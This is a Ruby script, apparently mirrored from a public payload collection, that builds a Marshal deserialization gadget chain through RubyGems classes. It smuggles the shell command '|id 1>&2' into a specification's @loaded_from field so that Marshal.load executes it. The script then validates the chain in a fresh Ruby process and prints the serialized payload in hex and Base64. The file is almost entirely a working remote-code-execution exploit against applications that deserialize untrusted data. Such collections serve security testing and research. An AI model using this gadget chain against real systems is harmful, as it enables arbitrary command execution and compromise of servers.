mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-14 23:32:45 +00:00
66 lines
No EOL
1.2 KiB
Ruby
66 lines
No EOL
1.2 KiB
Ruby
#!/usr/bin/env ruby
|
|
|
|
class Gem::StubSpecification
|
|
def initialize; end
|
|
end
|
|
|
|
|
|
stub_specification = Gem::StubSpecification.new
|
|
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")
|
|
|
|
puts "STEP n"
|
|
stub_specification.name rescue nil
|
|
puts
|
|
|
|
|
|
class Gem::Source::SpecificFile
|
|
def initialize; end
|
|
end
|
|
|
|
specific_file = Gem::Source::SpecificFile.new
|
|
specific_file.instance_variable_set(:@spec, stub_specification)
|
|
|
|
other_specific_file = Gem::Source::SpecificFile.new
|
|
|
|
puts "STEP n-1"
|
|
specific_file <=> other_specific_file rescue nil
|
|
puts
|
|
|
|
|
|
$dependency_list= Gem::DependencyList.new
|
|
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
|
|
|
|
puts "STEP n-2"
|
|
$dependency_list.each{} rescue nil
|
|
puts
|
|
|
|
|
|
class Gem::Requirement
|
|
def marshal_dump
|
|
[$dependency_list]
|
|
end
|
|
end
|
|
|
|
payload = Marshal.dump(Gem::Requirement.new)
|
|
|
|
puts "STEP n-3"
|
|
Marshal.load(payload) rescue nil
|
|
puts
|
|
|
|
|
|
puts "VALIDATION (in fresh ruby process):"
|
|
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
|
|
pipe.print payload
|
|
pipe.close_write
|
|
puts pipe.gets
|
|
puts
|
|
end
|
|
|
|
puts "Payload (hex):"
|
|
puts payload.unpack('H*')[0]
|
|
puts
|
|
|
|
|
|
require "base64"
|
|
puts "Payload (Base64 encoded):"
|
|
puts Base64.encode64(payload) |